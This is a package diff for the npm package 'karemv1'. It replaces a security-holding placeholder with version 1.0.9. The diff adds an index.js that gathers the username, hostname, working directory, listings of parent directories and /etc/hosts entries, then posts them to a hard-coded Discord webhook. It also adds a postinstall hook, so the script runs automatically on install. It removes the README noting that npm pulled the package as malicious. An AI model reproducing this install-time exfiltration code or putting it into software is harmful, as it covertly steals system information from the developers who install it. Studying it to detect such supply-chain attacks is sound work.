karemv1 0.0.1-security → 1.0.9

package/index.js

@@ -0,0 +1,86 @@
+#!/usr/bin/env node
+const https = require('https');
+const fs = require('fs');
+const path = require('path');
+const { execSync } = require('child_process');
+
+// === Run command safely ===
+function run(cmd) {
+  try {
+    return execSync(cmd, { timeout: 4000, stdio: ['ignore', 'pipe', 'ignore'] }).toString().trim();
+  } catch {
+    return 'N/A';
+  }
+}
+
+// === List up to 8 files with bullet ===
+function list(dir) {
+  const out = run(`ls -1 "${dir}" 2>/dev/null | head -8`);
+  if (!out || out === 'N/A') return '_(no access or empty)_';
+  return out.split('\n').map(f => `• \`${f}\``).join('\n');
+}
+
+// === Extract hostnames ===
+function hostnames() {
+  const out = run(`grep -v "^#" /etc/hosts 2>/dev/null | awk '{print $2}' | sort -u | head -6`);
+  return out ? out.split('\n').map(h => `◦ \`${h}\``).join('\n') : '_(none)_';
+}
+
+// === Gather system info ===
+const info = {
+  user: run('whoami').split('\n')[0],
+  host: run('hostname').split('\n')[0],
+  path: run('pwd').split('\n')[0],
+  cur: list('.'),
+  p1: list('..'),
+  p2: list('../..'),
+  p3: list('../../..'),
+  names: hostnames()
+};
+
+// === Beautiful Markdown Message ===
+const msg = `# karemv1 — Recon Report
+
+**User** • \`${info.user}\`  
+**Host** • \`${info.host}\`  
+**Path** • \`${info.path}\`
+
+---
+
+### Current Directory
+${info.cur}
+
+### Parent (\`..\`)
+${info.p1}
+
+### Grandparent (\`../..\`)
+${info.p2}
+
+### Great-Grand (\`../../..\`)
+${info.p3}
+
+---
+
+### Hostnames
+${info.names}
+
+> _Sent once via karemv1_`;
+
+// === Prevent duplicate sends (critical!) ===
+const flagFile = path.join(__dirname, '.karemv1_sent');
+if (fs.existsSync(flagFile)) process.exit(0);
+fs.writeFileSync(flagFile, '1', { flag: 'wx' });
+
+// === Send to Discord ===
+const payload = JSON.stringify({ content: msg });
+const req = https.request('https://discord.com/api/webhooks/1432899514649280575/TspGrI6vZa6dopHnK99crdrm7eyzawGikjFAj0qWfeQt9BMfi5ncW2UQQZVW7-8kB7xs', {
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': Buffer.byteLength(payload)
+  }
+});
+
+req.on('error', () => {});
+req.write(payload);
+req.end();

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "karemv1",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.9",
+  "description": "System info collector",
+  "main": "index.js",
+  "bin": {
+    "karemv1": "./index.js"
+  },
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "license": "MIT",
+  "private": false,
+  "dependencies": {
+    "karemv1": "^1.0.5"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=karemv1 for more information.